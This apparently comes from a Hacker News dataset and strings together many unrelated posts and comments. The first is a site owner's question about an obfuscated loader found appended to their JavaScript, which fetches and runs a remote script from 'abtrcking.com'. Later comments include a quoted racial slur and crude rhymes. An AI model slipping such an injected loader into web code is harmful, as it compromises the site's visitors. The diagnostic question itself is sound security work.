skysight-inc/HackerNews huggingface dataset:
Ask HN: How did this tracking code get in my site's JavaScript?
I've just found this mysterious tracking code appended to the main JS file of my website:

;(function(d,s,u,t,h){d.q97W||(t=d.createElement(s),h=d.getElementsByTagName(s)[0],t.async=1,t.src=u,h.parentNode.insertBefore(t,h),d.q97W=1)})(document,'script','//abtrcking.com/a610b2befbce9062/analytics.js?4cd018b7ad0ce698d02494542e8f6e70');

Unfortunately the text was appended to a gzipped JavaScript file, which made it unreadable by browsers and effectively shut down my site.

The site is hosted on AWS and the JS file was pushed to S3 during deployment. I checked deployment logs and it definitely wasn't in the file during deployment. Does this mean someone has hacked my AWS account or has my access keys?
Unclear. Sometimes a smaller size like 7nm is actually 10nm. To summarize 10 > 7 BUT 7 = 10.
DRY code vs. WET code
With guns, it has already been shifted in a harmful direction.

Suppressors are safety equipment, not badass silencers that let assassins shoot in near total quiet. But because the public only knows the movies, if you want to get a suppressor for your gun you need to pay 200 dollars. Imagine if we made it so you had to pay money to buy a muffler for your car, because Hollywood kept having cars with mufflers running dead quiet.

Or another one is bullet lethality. Handgun bullets make tiny holes in things without a lot of punch, so there is virtually no chance a single bullet from a pistol is going to knock a bad guy down. Maybe if you get very lucky and nail him in the precise right spot in the spine or brain, but otherwise he's still going to be alive and fighting for minutes or even hours. The police aren't putting 15 rounds into a suspect because they're dicks (well, they might be dicks I dunno) but because handgun bullets aren't very good at stopping people. You can only rely on volume of fire and hope you get a good shot to the central nervous system. Heck, even if you annihilate someone's heart the guy's still got about 10 seconds (called the 'dead man's ten') of useful oxygenated blood to work with before he's incapacitated - more then enough time for him to raise his gun and take you with him.
That's all about the culture of modern management. Relentlessly chasing pennies while setting dollars on fire.

Design/build raises the level of dumb even higher by giving all parties powerful incentives to build the cheapest, minimally viable slop possible.
25k messages total, or per second?
An easy way to improve your situation is to sell the BMW and get a more practical and reliable vehicle. Granted, that works more in favor against the rental car.

I also don't think it's a given that you'd need a rental car every single weekend. If you need a car every single weekend then owning one yourself clearly makes the most sense. It's when you only need the car occasionally that it would make more sense.
Reminds me of the Fireflies[0] model included in NetLogo[1].

[0] https://ccl.northwestern.edu/netlogo/models/Fireflies
[1] http://ccl.northwestern.edu/netlogo/index.shtml
How to lose $8k worth of Bitcoin in 15 minutes with Verizon and Coinbase.com
Well ad blockers dont work with native apps right? A huge number of people use facebook/googles native iOS/Android apps so this most likely won't kill their business.
Is that how it happened?
I don't need to show you my numbers, because it's literally public knowledge that Apple manually reviews all apps and updates, and every single third-party developer can confirm this. If your app is set up with any sort of analytics you can even see when the reviewer looks at your app!
I think it's an improvement over the old system :)
>It turns out that Millennial behavior during the recession—living in the basement rather than driving to work, and biking and sharing rides elsewhere—did not reflect a preferred lifestyle so much as an accommodation to the longest recession and slowest recovery in modern U.S. history.

>By year-end 2016 road travel had hit an all-time high, north of 3.2 trillion vehicle-miles. Gasoline demand has followed apace, also hitting new highs. So much for peak driving.

http://www.realclearenergy.org/articles/2017/05/29/millennia...
Sounds like AI, and AI skills.
I have a Google Home, rather than an Echo, but the biggest changes are the fact that I listen to a lot more music and I have it hooked up to a Logitech Harmony Hub so that I rarely need to hunt down the TV remote. "Hey Google, Turn on the TV // Pause Roku // Volume down" are pretty useful shortcuts I have configured.
Wait, so I was talking about SHA-224 which is SHA-256 truncated to 224 bits, not SHA-512 truncated to 224 bits.

Nevertheless, does this mean SHA-224 is still susceptible to length extension attacks?
I made the same assumption about "nigger", that it was some kind of fish that could be caught. We did have several races in my class, but I wasn't aware of it.

But this was most popular at my primary school:

Ip dip, dog shit
Fucking bastard, dirty git
You are not it

There was a clean version, "ip dip sky blue...", we only used it if an adult was listening. I've forgotten the rest.

Also:

There's a party on the hill, can you come?
Bring your own bread and butter and a bun.
Who is your best friend? [child says a name]
T H O M A S
You are out!

And

Ippy dippy dation
My operation
How many buses
In a London station?
[child gives number]
1 2 3 4 5
You are out.

For both of these, some quick arithmetic could ensure I was selected, amid accusations that this wasn't fair.
> So me being negative is just being realistic.

No, just plain rude.
Minimalistic Go JWT Auth Example
I'm no believer in silver bullets, but I wonder about "the productivity difference is only marginal." For one thing, I think being an F# dev is likely to improve one's OOP code (immutability by default, smaller methods), so while I agree that it might feel like one is similarly productive, I think one changes one's baseline.

For another, I think it really boils down to maintainability. Elsewhere in this thread, there is a comment that "return to your code in 6 months and it's incomprehensible." As a guy who worked with a large Scala codebase, I totally "get" that, but the thing with "functional code you haven't seen in 6 months" is: It's either incomprehensible or it's MUCH easier to reason about than stateful OOP code. And the "incomprehensible" stuff tends to fall into a couple different categories (lifting and conversion, complex function composition, etc.) that gets at least a _little_ better once you've hit your head against them a few times.
Well, if you read his webcomic Casey and Andy, Andy Weir is also a soft science fiction nerd. The box of antimatter never blows up until a solid object goes in, cause that's totes how matter annihilation works.
Just as a counterpoint to all the anecdotal rebuttals here in the comments with regional variants: growing up in California, the rhyme was as stated in the article, with the opening line reiterated at the end.

I'm in Illinois (and have been since later childhood) and think here in Chicago it is the same as I have never heard any of the variations mentioned here.
Of course it can. It's just a subjective measure. It's better to me, even if it's worse, or even incomparable, to others.

All of which is irrelevant to the question of whether it's just snobbery or not, which was what I was discussing.
Privacy versus AI research is a false dichotomy. Apple has been very candid about how they are able to maintain privacy while using data responsibly.

It's in the interest of Google, Facebook and others to get us to believe we have to give up our privacy, that it's the cost of advancement. But it's baloney. It lets them be lazy and continue to use us (the users) as the product for their real customer; advertisers. But it's just not true.
You're not wrong, and even though I dislike cars, I can't help but feel like you're arguing against someone living in an alternate reality. Unless you live in a dense urban core there's no possible way that walking saves more time than driving. The main reasons I don't have a car is that it's very freeing not to have to worry about owning one (from a theft/maintenance/risk perspective), and also because I'm now living in Manhattan, where owning a car is a huge additional hassle above just parking it in the suburbs where I used to live. I'd either have to pony up for an expensive garage or go fight to find free public parking multiple times every week, all just so I can drive in traffic that's horrendous during the entire day. No thank you.
With a sponge construction the AEAD is a one-pass operation. You feed plaintext in, out comes ciphertext. In the end you crank it one more time and out comes the MAC/tag.

This is unlike other constructions, where you need to go over the data twice, with two different crypto algorithms (encryption + mac) that may or may not share a core component.
The people who have found Factorio have yet to come back from playing Factorio. Their children miss them.
The 4 Reasons Why We Created OUR OWN User Engagement Platform
If you are a software company founder, growth hacker, or product manager, you are probably facing the same problems we did to optimize our users life cycle. As product people, we decided to create our own tool, here is why: https://m.convertloop.co/the-4-reasons-why-we-created-our-own-user-engagement-platform-82671957b841
The note on the commonality of patch authors making changes after getting an r+ at Mozilla is a little misunderstood here. It's very common at Mozilla to grant "r+ with nits", which is to say "yes land this code, but make these changes first". It's generally not acceptable for patch authors to make arbitrary changes after review, since that should incur another review!
Opt-in BAT ads. Like the bitcoin-based anonymous auto-microdonations in Brave Payments in beta-testing form today. We'll work to prototype and then propagate the BAT to other attention-based apps (browsers, games, video-players, and messengers).
> In the evening you go to the library to return a book. They have a list of book suggestions ready that fits your taste suspiciously well.

Hah! If that'd be true...

I strongly suspect modern recommendation engines have absolutely no clues about the plot/tropes/character traits/content in general and only operate on score correlations and basic genre tags. Because more than half of the suggestions I got for books, movies and games (and I willingly fed the data!) weren't something that fit my tastes well. Maybe just remotely.

(I must admit I have crappy tastes, though.)
Mozilla people and Google people talked to each other long before those releases.
10 Futuristic Materials
This is the "hacker news"* definition of "hacker". What you're referring too is what HN will call a "cracker" (or "phracker" for cracking communication systems).

A "hacker" on here is just someone that does neat technical stuff (purposefully simplify, don't nitpick).

*Which is much older than that of course, dating to the BBS era and earlier.
Just 9 days left to reject EU copyright expansion plans
There is a bridge near my house that was delayed some months because some old Indian artifacts were found there. http://www.startribune.com/ancient-campsite-discovered-along...
There are ways of using information other than copy-pasting it in. A reference here and there when you get stuck, reading ahead to avoid dead-ends. They would also be moving much faster if they were just very good, and Google was already paying this guy on the understanding that he was the best. Picking that apart could be difficult-to-impossible.

Or maybe Uber's just complicit. But you're introducing facts not in evidence based on your assumptions about how this went down.
I think that's a bad analogy, because cable companies actually pay per-subscriber fees to channel providers. I think a better analogy is Spotify premium, where songs are paid based on listening rates (even though I think how Spotify divvies up the money is still pretty unfair to less popular musicians).
Plenty of people were left scratching their heads when the new Google Earth was introduced, precisely because it was clear that PNaCl's days were numbered.

I think the likely explanation is that Google is a large company with numerous departments and those departments don't always pull in the same direction. I imagine some people within Google weren't happy with the Google Earth announcement.
Show HN: Healthy home food different cuisines nearby, at affordable prices
This is not a left or right issue. You said that in return for a climate change tariff on US goods you wanted EU nations to meet their spending agreements for NATO. Now multiple sources have been provided to you showing that the EU NATO members are doing great what they agreed to and that claiming that they are not paying their way is inaccurate at best and downright dishonest at worst. You are not responding to those facts and instead have turned it into a left Vs right issue.

Regardless of my political affiliation I am aware that international politics is nuanced, unfortunately your president is just learning that himself. And yes you can disagree in principal but you don't seem to understand the system so it is difficult to accept that you disagree in principal when your sole argument (which has been thoroughly debunked for you) is based on claims made by donald trump. Do you have any other issues with NATO that you disagree with?
try to communicate with your friends without talking and you might understand the usefulness of speech-as-interface
There are a bunch of other small inconveniences too.

I own a car but I've considered renting cars for trips multiple times (you don't have to care as much about a rental car, you don't mind if other people are driving it, it's normal to split rental car expenses but weird to split, say, the depreciation on your car) etc. But it's often a hassle.

Most rental car centers in the city do not open before say 9 am (the best I have seen is 8 am) and close by 5-6 pm. After you do all the paper work and blah blah it's typically 9-10 am before you can leave for your trip. This is just not practical for a lot of weekend trips. The other option is to rent it on Friday (which means you pay for a day more), but since they close by 5 pm you need to rent it on Friday morning at 9 am which means you have to now plan it along with your work day.

The other option is to rent from the airport where the centers are generally open 24/7 but charge more and the airport is far so now you have to take that into account.

The other problem is when you rent for a long trip and have to pay per day when you know you'll actually be driving only on a few of those days.
I'm very disappointed in Netflix and Reed Hasting on this issue. This means that they're basically foisting the cost of inefficiency onto their customers.

This means their customers with the wrong ISPs are paying at least twice for Netflix data. Once for their network access, and again with some portion of Netflix fees to get data delivered thru the exact same network path...

And then they're paying again in other ways because this setup basically undercuts future competitors to Netflix which is yet another cost borne by customers for lack of competition. Its also very difficult for markets to work when customers can't see and send clear economic signals under these conditions because the inefficiencies have been bundled up into the services in hidden ways on both sides of the transaction.
It really does not matter if a single device does not work this way if the global trend is to push boundaries of privacy to closer and closer to non-existence.

I am afraid that soon it is hard for general public to avoid the situation where when they flush the toiled some unexpected device will recognise it and report to the headquarters.
> where the verb is actually "to come from".

I'm not sure what you mean by this, because "to come from" isn't a verb, and you can't simply declare that it is.

Also FWIW, upon re-reading the article, it says Danish actually also has this (more specifically, it said Old Norse allowed for this, "which Danish retains"). So I guess it's 4 languages, not 3. Not that that really makes any difference here, since the whole point is that dangling prepositions are rather exceptional and nearly all languages don't allow them.
You have identified a incentive towards vertical integration. But then we might ask ourselves what is stopping it. Is there some counter-incentive that causes the hierarchy of contractors? Is there some regulation that forces it?

You might claim that there are no state-run construction companies because of free-market ideology or some such bogeyman. But that doesn't explain why the private contractors don't integrate vertically.

My own guess is that even a vertically integrated entity would be risk averse and have to create expensive, slow, internal sign-off procedures.
Cocoa and the Death of Yellow Box and Rhapsody (2007)
Delusion and superstition is a large part of most religions. It's legitimate to criticize Islam for this, especially considering that morally questionable applications of Islam - such as Sharia - directly reference superstition.

If we accept that more accurate representations of reality generally lead to better outcomes, then criticism effectively becomes a moral imperative.
Auto-filter into mailboxes (for instance, one for each type of service that sends notifications).

Each mailbox can typically be gone through rapidly in a batch a couple times per day to get your unreads to zero.

If something requires followup or reply, record that fact in an external system rather than using the inbox as a to do list.

Oh, and get your colleagues to move away from email as a default medium for conversations.
I enjoy Star Trek too, but mostly thanks to growing up with it. It's what got me interested in science and technology in the first place. I also very much enjoy the story and the message of TNG and later Trek series. It's the future I'd love to happen.
By all means, do your own research -- I've personally had a hard time finding a strong body of evidence supporting the idea that high taxes (over ~25% of GDP) are supportive of economic growth (please share if you have something!).

If you're worried about sampling bias with respect to Asian countries specifically, here's a time series analysis supporting the same conclusions [0]. Another angle that you may find interesting is that low tax US states tend to outgrow high tax US states [1].

One other way to look at is expert opinion. You'll note that under the CBO dynamic scoring methods, they assume higher economic growth under low taxes -- this is controversial politically, but the majority of economic forecasters appear to use an inverse relationship between taxes and growth -- presumably this should be worth something. Also note that, although there is not a hard, climate-style consensus, there are substantially more professional economists who believe that taxes slow growth than not as it relates to the current US system [2].

A lot of people like to point to some anecdotal evidence of good results in Sweden, but then ignore poor results in Denmark -- I think broad based statistical evidence is needed for these sorts of things since many other factors, such as debt, immigration policy, trade policy, and so forth can easily confound your results. The key is to look at the same problem from a wide variety of angles and see if a conclusion starts to emerge given that some studies will point in one direction and some will point in others. If 90% of the research is saying one thing, 8% is saying there's no effect, and 2% is pointing the other direction, what should you believe?

[0] http://www.nber.org/papers/w13264
[1] http://www.laffercenter.com/wp-content/uploads/2012/09/2012-...
[2] http://www.igmchicago.org/surveys/laffer-curvehttp://www.igm...
These two scripts seem to have found good workarounds for my current ad-blocker's attempts:

https://js.washingtonpost.com/wp-stat/rum/wprum.min.js

https://www.washingtonpost.com/wp-stat/ad/zeus/wp-ad.min.js

Looking at the output from the browser's console log on this page has me feeling like advertisers and analytics are a pretty gropey bunch. No means no, stop trying to touch my local storage!
Lazio Captain Lucas Biglia on Way to Milan
My first thought was how plausible it'd be to write an algorithm to do the client-barrister matching for you, but I get the vibe from this article that the relationship between barristers and clerks is more about some sort of unique social tradition than it is about the actual work of client matching and fare collecting. But then again, I'm not British and cannot say for sure.
And of course they keep on recommending books you already read.
> If you drive a 10-year old Audi but your neighbour or co-worker has just bought a new Audi, you will feel the need to upgrade even if your car has no mechanical problems.

I got around that "issue". I drive an almost 20 year old Isuzu VehiCROSS. One the most capable full-time 4WD vehicles around. The thing handles like a sports car whether on pavement or dirt. I bought it used, spent more money fixing it up for daily driver usage, plus added a lift, some rock sliders, and a roof basket, among other upgrades.

I may only get 15 mpg from the beast, but none of my neighbors or co-workers own one, and likely never will; it's one of the most unique vehicles you can easily own, since there are less than 5000 in the United States alone. It's also mostly easily repairable, sharing parts with the Rodeo and Trooper (interior and exterior panels excepted).

I don't have to worry about what my neighbor owns - my truck (and yes - it is a truck - body on fully-boxed ladder-frame construction with a straight axle rear and IFS front) is so unique, so far I've only seen two others here in Arizona this year (last year I saw about 3, the year before about 5 - and I am certain most of those were "repeats" - there really aren't that many owners of the VX here in Arizona who "daily drive" them).

I love driving her - I grin ear-to-ear just thinking about driving my VX.
If I had the choice to go live in Manhattan and not have a car vs. live somewhere else and be obligated to own a car I would choose Manhattan in a heartbeat. Unfortunately, I can't do that (and even if I could, most people cannot).
I think this is less a Siri device and more a home-TV device.

My understanding is that this device includes a screen. Right now I could use a 17" 16:9 iPad with a stand and maybe an optional detachable keyboard, as I find I'm using my 12" iPad Pro more and more for TV/movie viewing. I could use something like that for a bedroom nightstand.

I don't think Siri will be the focus of this product. I hope not, at least, because it definitely isn't the top assistant. Apple's strength is it's device media capabilities, and they should exploit that instead.
Yes, functional composition in part. And while pretty-much-everyone has first-class functions now, they're usually not _quite_ as easy to declare and use as they are in F# (e.g., if you have to specify `Func<string, Func<string, int>> Foo` rather than `let Foo s1 s2 = ... `

Another data-wrangling thing easier in F# (not FP in general) is type-providers.
At least see the product first, before making such a statement. Apple does quite well by entering a market late (digital music, phones, etc.) and then dominating it by making superior products and user experiences.

If Apple releases the product and it's just a "me too device" with nothing new, then your statement is reasonable.
I would very strongly recommend this approach. It's worked quite well for me.

There are so many ways to split out application environments in k8s (namespaces being one, generated prefixes in a helm template being another) that you should really try to use your cluster as a single compute resource. Maybe segregate for prod if you're not confident in your ability to lock it down, but everything else should just be creating/scaling pods, then adding nodes to the cluster when it runs out of compute.